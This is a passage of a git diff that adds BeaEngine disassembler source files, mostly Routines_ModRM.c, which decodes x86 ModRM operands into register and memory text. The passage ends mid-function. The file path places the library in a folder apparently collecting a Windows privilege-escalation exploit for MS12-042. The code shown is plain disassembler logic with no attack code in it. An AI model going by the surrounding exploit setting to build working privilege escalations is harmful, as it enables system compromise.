+ if ((GV.SEGMENTREGS != 0) || (GV.SEGMENTFS != 0)){ + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "%"); + i++; + if (GV.SEGMENTREGS != 0) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, SegmentRegs[(*pMyDisasm).Argument2.SegmentReg]); + } + else { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, SegmentRegs[3]); + } + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + } + } + } + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, (char*) &(*pMyDisasm).Argument2.ArgMnemonic); + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + } + + /* =============== if Arg2.Exists and Arg1.Exists , display " , " */ + if (((UInt8)*((UInt8*) &(*pMyDisasm).Argument1.ArgMnemonic) != 0) && ((UInt8)*((UInt8*) &(*pMyDisasm).Argument2.ArgMnemonic) != 0)) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, ", "); + i += 2; + } + + /* =============== if Arg1 exists, display it */ + if (*((UInt8*) &(*pMyDisasm).Argument1.ArgMnemonic) != 0) { + if ((*pMyDisasm).Argument1.ArgType & CONSTANT_TYPE) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "\x24"); + i++; + } + else { + if ((*pMyDisasm).Instruction.BranchType != 0) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "*"); + i++; + } + if ((*pMyDisasm).Argument1.ArgType & REGISTER_TYPE) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "%"); + i++; + } + else if ((*pMyDisasm).Argument1.ArgType & CONSTANT_TYPE) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "\x24"); + i++; + } + else { + if ((GV.SEGMENTREGS != 0) || (GV.SEGMENTFS != 0)){ + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "%"); + i++; + if (GV.SEGMENTREGS != 0) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, SegmentRegs[(*pMyDisasm).Argument1.SegmentReg]); + } + else { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, SegmentRegs[3]); + } + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + } + } + } + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, (char*) &(*pMyDisasm).Argument1.ArgMnemonic); + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + } +} +#endif diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/Routines_ModRM.c b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/Routines_ModRM.c new file mode 100644 index 0000000..d1f4269 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/Routines_ModRM.c @@ -0,0 +1,3556 @@ +/* Copyright 2006-2009, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . + * ======================================= + * + * ======================================= */ +void __bea_callspec__ MOD_RM(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + GV.DECALAGE_EIP = 0; + if (!Security(1, pMyDisasm)) return; + GV.MOD_ = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 6) & 0x3; + GV.RM_ = (*((UInt8*)(UIntPtr) (GV.EIP_+1))) & 0x7; + if (GV.MOD_ == 0) { + ModRM_0[GV.RM_](pMyArgument, pMyDisasm); + } + else if (GV.MOD_ == 1) { + GV.DECALAGE_EIP++; + ModRM_1[GV.RM_](pMyArgument, pMyDisasm); + } + else if (GV.MOD_ == 2) { + if (GV.AddressSize >= 32) { + GV.DECALAGE_EIP += 4; + } + else { + GV.DECALAGE_EIP += 2; + } + ModRM_2[GV.RM_](pMyArgument, pMyDisasm); + } + else { + ModRM_3[GV.RM_](pMyArgument, pMyDisasm); + } + +} +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ Reg_Opcode(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + size_t i = 0; + if (!Security(1, pMyDisasm)) return; + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + if (GV.REX.R_ == 1) { + GV.REGOPCODE += 0x8; + } + if (GV.MMX_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersMMX[GV.REGOPCODE]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+MMX_REG+REGS[GV.REGOPCODE]; + (*pMyArgument).ArgSize = 64; + } + else if (GV.SEG_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSEG[GV.REGOPCODE]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+SEGMENT_REG+REGS[GV.REGOPCODE]; + (*pMyArgument).ArgSize = 16; + } + else if (GV.CR_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersCR[GV.REGOPCODE]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+CR_REG+REGS[GV.REGOPCODE]; + (*pMyArgument).ArgSize = 32; + } + else if (GV.DR_ == 1) { + if (GV.SYNTAX_ == ATSyntax) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersDR_AT[GV.REGOPCODE]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersDR[GV.REGOPCODE]); + #endif + } + (*pMyArgument).ArgType = REGISTER_TYPE+DR_REG+REGS[GV.REGOPCODE]; + (*pMyArgument).ArgSize = 32; + } + else if (GV.SSE_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[GV.REGOPCODE]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+SSE_REG+REGS[GV.REGOPCODE]; + (*pMyArgument).ArgSize = 128; + } + else if (GV.OperandSize == 8) { + if (GV.REX.state == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8BitsLegacy[GV.REGOPCODE]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS8BITS[GV.REGOPCODE]; + if (GV.REGOPCODE >= 4) { + (*pMyArgument).ArgPosition = HighPosition; + } + (*pMyArgument).ArgSize = 8; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[GV.REGOPCODE]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[GV.REGOPCODE]; + (*pMyArgument).ArgSize = 8; + } + } + else if (GV.OperandSize == 16) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[GV.REGOPCODE]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[GV.REGOPCODE]; + (*pMyArgument).ArgSize = 16; + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[GV.REGOPCODE]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[GV.REGOPCODE]; + (*pMyArgument).ArgSize = 32; + } + else if (GV.OperandSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[GV.REGOPCODE]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[GV.REGOPCODE]; + (*pMyArgument).ArgSize = 64; + } +} +/* ======================================= + * ModRM_0 + * ======================================= */ +void __bea_callspec__ Addr_EAX(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + #ifndef BEA_LIGHT_DISASSEMBLY + size_t i = 0; + if (GV.SYNTAX_ == ATSyntax) { + (void) strcpy((char*) (*pMyArgument).ArgMnemonic, "(%"); + i += 2; + } + #endif + (*pMyArgument).ArgType = MEMORY_TYPE; + if (GV.AddressSize == 64) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[8]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[0]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[0]; + } + } + else if (GV.AddressSize == 32) { + + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[8]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[8]; + + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[0]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[0]; + } + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, BXSI_); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + i = strlen ((char*) &(*pMyArgument).ArgMnemonic); + if (GV.SYNTAX_ == ATSyntax) { + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")"); + i += 1; + } + #endif + +} +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ Addr_ECX(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + #ifndef BEA_LIGHT_DISASSEMBLY + size_t i = 0; + if (GV.SYNTAX_ == ATSyntax) { + (void) strcpy((char*) (*pMyArgument).ArgMnemonic, "(%"); + i += 2; + } + #endif + + (*pMyArgument).ArgType = MEMORY_TYPE; + if (GV.AddressSize == 64) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[9]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[1+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[1]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[1]; + } + } + else if (GV.AddressSize == 32) { + + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[9]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[1+8]; + + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[1]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[1]; + } + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, BXDI_); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + i = strlen ((char*) &(*pMyArgument).ArgMnemonic); + if (GV.SYNTAX_ == ATSyntax) { + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")"); + i += 1; + } + #endif + +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ Addr_EDX(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + #ifndef BEA_LIGHT_DISASSEMBLY + size_t i = 0; + if (GV.SYNTAX_ == ATSyntax) { + (void) strcpy((char*) (*pMyArgument).ArgMnemonic, "(%"); + i += 2; + } + #endif + (*pMyArgument).ArgType = MEMORY_TYPE; + if (GV.AddressSize == 64) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[10]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[2+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[2]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[2]; + } + } + else if (GV.AddressSize == 32) { + + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[10]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[2+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[2]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[2]; + } + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, BPSI_); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + i = strlen ((char*) &(*pMyArgument).ArgMnemonic); + if (GV.SYNTAX_ == ATSyntax) { + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")"); + i += 1; + } + #endif +} + + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ Addr_EBX(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + #ifndef BEA_LIGHT_DISASSEMBLY + size_t i = 0; + if (GV.SYNTAX_ == ATSyntax) { + (void) strcpy((char*) (*pMyArgument).ArgMnemonic, "(%"); + i += 2; + } + #endif + (*pMyArgument).ArgType = MEMORY_TYPE; + if (GV.AddressSize == 64) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[11]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[3+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[3]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[3]; + } + } + else if (GV.AddressSize == 32) { + + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[11]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[3+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[3]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[3]; + } + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, BPDI_); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + i = strlen ((char*) &(*pMyArgument).ArgMnemonic); + if (GV.SYNTAX_ == ATSyntax) { + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")"); + i += 1; + } + #endif + +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ Addr_SIB(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + if (!Security(2, pMyDisasm)) return; + (*pMyArgument).ArgType = MEMORY_TYPE; + if (GV.AddressSize >= 32) { + GV.DECALAGE_EIP++; + GV.BASE_ = ((UInt8) *((UInt8*) (UIntPtr) (GV.EIP_+2))) & 0x7; + GV.SCALE_ = (((UInt8) *((UInt8*) (UIntPtr)(GV.EIP_+2))) & 0xc0) >> 6; + GV.INDEX_ = (((UInt8) *((UInt8*) (UIntPtr)(GV.EIP_+2))) & 0x38) >> 3; + (void) SIB[GV.SCALE_ ](pMyArgument, 0, pMyDisasm); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic, Registers16Bits[6]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[6]; + } +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ Addr_disp32(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + Int32 MyNumber; + UInt64 MyAddress; + size_t i = 0; + (*pMyArgument).ArgType = MEMORY_TYPE; + if (GV.AddressSize >= 32) { + if (!Security(6, pMyDisasm)) return; + GV.DECALAGE_EIP+=4; + MyNumber = *((Int32*)(UIntPtr) (GV.EIP_+2)); + (*pMyArgument).Memory.Displacement = MyNumber; + if (GV.Architecture == 64) { + MyNumber += 6; + MyNumber += GV.NB_PREFIX; + if (GV.ImmediatSize == 32) { + MyNumber += 4; + } + if (GV.ImmediatSize == 16) { + MyNumber += 2; + } + if (GV.ImmediatSize == 8) { + MyNumber += 1; + } + if ((*pMyDisasm).Instruction.Opcode >= 0x0F3800) { /* add two bytes if opcode is a 3-bytes */ + MyNumber +=2; + } + else if ((*pMyDisasm).Instruction.Opcode >= 0x0100) { /* add one byte if opcode is a 2-bytes */ + MyNumber +=1; + } + CalculateRelativeAddress(&MyAddress, (Int64)MyNumber, pMyDisasm); + (*pMyDisasm).Instruction.AddrValue = MyAddress; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.16llX", (Int64)MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.8X", (Int64)MyNumber); + #endif + } + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic, Registers16Bits[7]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[7]; + } +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ Addr_ESI(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + long MyNumber; + #ifndef BEA_LIGHT_DISASSEMBLY + size_t i = 0; + if (GV.SYNTAX_ == ATSyntax) { + (void) strcpy((char*) (*pMyArgument).ArgMnemonic, "(%"); + i += 2; + } + #endif + (*pMyArgument).ArgType = MEMORY_TYPE; + if (GV.AddressSize == 64) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[14]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[6+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[6]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[6]; + } + } + else if (GV.AddressSize == 32) { + + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[14]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[6+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[6]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[6]; + } + } + else { + GV.DECALAGE_EIP+=2; + MyNumber = *((UInt16*)(UIntPtr) (GV.EIP_+2)); + (*pMyArgument).Memory.Displacement = MyNumber; + if (!Security(2, pMyDisasm)) return; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.4X", (Int64)MyNumber); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + i = strlen ((char*) &(*pMyArgument).ArgMnemonic); + if (GV.SYNTAX_ == ATSyntax) { + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")"); + i += 1; + } + #endif +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ Addr_EDI(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + #ifndef BEA_LIGHT_DISASSEMBLY + size_t i = 0; + if (GV.SYNTAX_ == ATSyntax) { + (void) strcpy((char*) (*pMyArgument).ArgMnemonic, "(%"); + i += 2; + } + #endif + (*pMyArgument).ArgType = MEMORY_TYPE; + if (GV.AddressSize == 64) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[15]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[7+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[7]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[7]; + } + } + else if (GV.AddressSize == 32) { + + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[15]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[7+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[7]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[7]; + } + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[3]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[3]; + } + #ifndef BEA_LIGHT_DISASSEMBLY + i = strlen ((char*) &(*pMyArgument).ArgMnemonic); + if (GV.SYNTAX_ == ATSyntax) { + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")"); + i += 1; + } + #endif +} + +/* ======================================= + * ModRM_1 + * ======================================= */ +void __bea_callspec__ Addr_EAX_disp8(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + size_t i = 0, j; + long MyNumber; + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+2)); + (*pMyArgument).Memory.Displacement = MyNumber; + if (GV.SYNTAX_ == ATSyntax) { + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i++; + j=i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.2X",(Int64) ~MyNumber+1); + #endif + } + else { + j=i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.2X",(Int64) MyNumber); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%"); + #endif + i+=2; + } + (*pMyArgument).ArgType = MEMORY_TYPE; + if (GV.AddressSize == 64) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[8]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[0]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[0]; + } + } + else if (GV.AddressSize == 32) { + + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[8]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[8]; + + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[0]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[0]; + } + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, BXSI_); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + i = strlen ((char*) &(*pMyArgument).ArgMnemonic); + if (GV.SYNTAX_ == ATSyntax) { + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")"); + i += 1; + } + else { + #else + if(1) { + #endif + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.2X",(Int64) ~MyNumber+1); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.2X",(Int64) MyNumber); + #endif + } + } +} + +/* ======================================= + * ModRM_1 + * ======================================= */ +void __bea_callspec__ Addr_ECX_disp8(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + size_t i = 0, j; + long MyNumber; + MyNumber = (Int8) *((UInt8*) (UIntPtr)GV.EIP_+2); + (*pMyArgument).Memory.Displacement = MyNumber; + if (GV.SYNTAX_ == ATSyntax) { + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i++; + j=i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.2X",(Int64) ~MyNumber+1); + #endif + } + else { + j=i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.2X",(Int64) MyNumber); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%"); + #endif + i+=2; + } + (*pMyArgument).ArgType = MEMORY_TYPE; + if (GV.AddressSize == 64) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[9]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[1+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[1]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[1]; + } + } + else if (GV.AddressSize == 32) { + + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[9]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[1+8]; + + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[1]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[1]; + } + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, BXDI_); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + i = strlen ((char*) &(*pMyArgument).ArgMnemonic); + if (GV.SYNTAX_ == ATSyntax) { + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")"); + i += 1; + } + else { + #else + if(1) { + #endif + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.2X",(Int64) ~MyNumber+1); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.2X",(Int64) MyNumber); + #endif + } + } +} + +/* ======================================= + * ModRM_1 + * ======================================= */ +void __bea_callspec__ Addr_EDX_disp8(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + size_t i = 0, j; + long MyNumber; + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+2)); + (*pMyArgument).Memory.Displacement = MyNumber; + if (GV.SYNTAX_ == ATSyntax) { + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i++; + j=i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.2X",(Int64) ~MyNumber+1); + #endif + } + else { + j=i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.2X",(Int64) MyNumber); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%"); + #endif + i+=2; + } + (*pMyArgument).ArgType = MEMORY_TYPE; + if (GV.AddressSize == 64) { + if (GV.REX.B_ == 1) { + #ifndef 